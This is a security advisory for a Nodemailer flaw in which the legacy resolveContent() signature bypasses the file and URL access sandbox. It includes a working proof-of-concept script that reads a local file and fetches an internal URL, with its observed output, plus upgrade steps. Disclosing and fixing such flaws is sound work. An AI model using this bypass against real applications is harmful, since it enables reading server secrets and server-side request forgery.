Skip to content

GHSA-8m3c-c648-2xjj CVE-2026-92595

Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature

Medium npm
Severity
6.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.29%
Chance of exploitation in the next 30 days. Higher than 22.25% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-73 External Control of File Name or Path
CWE-918 Server-Side Request Forgery (SSRF)
Fix
9.1.1
Upgrade nodemailer to this version or later

Description

Summary

Nodemailer's disableFileAccess / disableUrlAccess options are a security sandbox that lets an application forbid untrusted message content (html/text/attachment path/href) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit 5f69497) threaded these flags through the library's internal resolution paths (MailMessage.resolveAll() and _convertDataImages()), but the public plugin API MailMessage.resolveContent(...args) (lib/mailer/mail-message.js:41-43) remains a raw passthrough to shared.resolveContent().

When called with the documented legacy signature mail.resolveContent(data, key, callback), shared.resolveContent normalizes the missing options argument to an empty object (options = options || {}, lib/shared/index.js:530). The message-level flags that the MailMessage constructor already copied into mail.data (lib/mailer/mail-message.js:34-38) are silently discarded, so resolveContentValue skips both access-control guards and reaches nmfetch(url) (SSRF, lib/shared/index.js:588) or fs.createReadStream(path) (arbitrary file read, lib/shared/index.js:597).

A plugin or application code that resolves message content through the documented API (the same API the library's own _convertDataImages uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.

Details

Root cause. The MailMessage constructor stores the transporter-level sandbox flags on the message object (lib/mailer/mail-message.js:34-38):

['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
    if (key in options) {
        this.data[key] = options[key];
    }
});

The public resolver is a pure passthrough (lib/mailer/mail-message.js:41-43):

resolveContent(...args) {
    return shared.resolveContent(...args);
}

shared.resolveContent supports the legacy 3-argument signature and collapses the missing options to {} (lib/shared/index.js:524-530):

module.exports.resolveContent = (data, key, options, callback) => {
    // options is optional; support the legacy resolveContent(data, key, callback) signature
    if (!callback && typeof options === 'function') {
        callback = options;
        options = false;
    }
    options = options || {};
    ...
    resolveContentValue(data, key, options, callback);

resolveContentValue then checks options.disableUrlAccess / options.disableFileAccess (lib/shared/index.js:581 / :590), both undefined for the legacy signature, so it falls through to nmfetch (:588) or fs.createReadStream (:597).

Contrast with the fixed paths. resolveAll() (lib/mailer/mail-message.js:112-115) and _convertDataImages() (lib/mailer/index.js:437-440) both pass the message flags explicitly. The MIME streaming path (lib/mime-node/index.js:1059-1077) also honors the flags. So an application that enables the sandbox and then calls transporter.sendMail() is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the resolveContent JSDoc at lib/shared/index.js:510-523 states it is "useful when you want to create a plugin that needs a content value").

Affected versions. Confirmed on 9.1.0 (HEAD efd6e29c10c6e0c25c57bd2f2a71302838235a4f, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (test/mailer/mail-message-test.js contains no resolveContent test).

PoC

Requires: nodemailer@9.1.0, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.

'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');

const TARGET_FILE = '/app/src/package.json';   // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target

const transporter = nodemailer.createTransport({
    streamTransport: true,
    disableFileAccess: true,   // sandbox explicitly enabled
    disableUrlAccess: true
});

const data = {
    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',
    html: { path: TARGET_FILE },
    attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true

// Documented legacy plugin signature — options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('FILE_READ_OK len=', value.length);          // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('URL_FETCH_OK body=', body.toString());      // -> fetched response
});

Observed output on the audit environment (Node 22, nodemailer@9.1.0):

mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n    \"name\": \"nodemailer\",\n    \"version\": \"9.1.0\",\n    \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"

The negative controls (resolveAll, and resolveContent with explicit { disableFileAccess: true }) return EFILEACCESS, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real transporter.sendMail() flow when a compile plugin calls mail.resolveContent(mail.data, 'html', cb) / mail.resolveContent(mail.data.attachments, 0, cb).

Impact

An application that enables disableFileAccess / disableUrlAccess to contain untrusted message content and that resolves content through the documented plugin API (mail.resolveContent(data, key, callback)) has its sandbox silently bypassed:

  • Arbitrary local file disclosure: a message html/attachment path pointing at a server file (/etc/passwd, .env, key material) is read and returned to the caller / delivered in the message.
  • Server-side request forgery: a message href pointing at an internal or loopback URL is fetched from the application host.

Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default transporter.sendMail() path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.

Affected versions

npm

PackageVulnerableFixed in
nodemailer
< 9.1.1
9.1.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nodemailer npm → 9.1.1

npm
npm install nodemailer@9.1.1
yarn
yarn add nodemailer@9.1.1
pnpm
pnpm add nodemailer@9.1.1

Severity breakdown

CVSS 4.0 6.0

CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
High
Attack requirements
Present
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Weakness

CWE-73: External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations.

How to prevent it
  • Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
  • Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
  • Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
  • Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
  • Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8c8m-p3m8-cjg8
Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient
Medium Also affects nodemailer
GHSA-m943-m63m-w62w
Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient
Medium Also affects nodemailer
GHSA-85x2-q946-cp5h
Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name
Medium Also affects nodemailer
GHSA-4g23-2xm8-66gc
Nodemailer: Quadratic (O(n^2)) SMTP client reply parsing lets a malicious server or MITM cause a pre-auth remote denial of service
High Also affects nodemailer
GHSA-39m8-27wv-hr27
Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing
High Also affects nodemailer
GHSA-g73g-hqqh-jr95
Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped
Medium Also affects nodemailer
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Also affects nodemailer
GHSA-8vvx-rff5-p5rq
Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS
High Also affects nodemailer
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor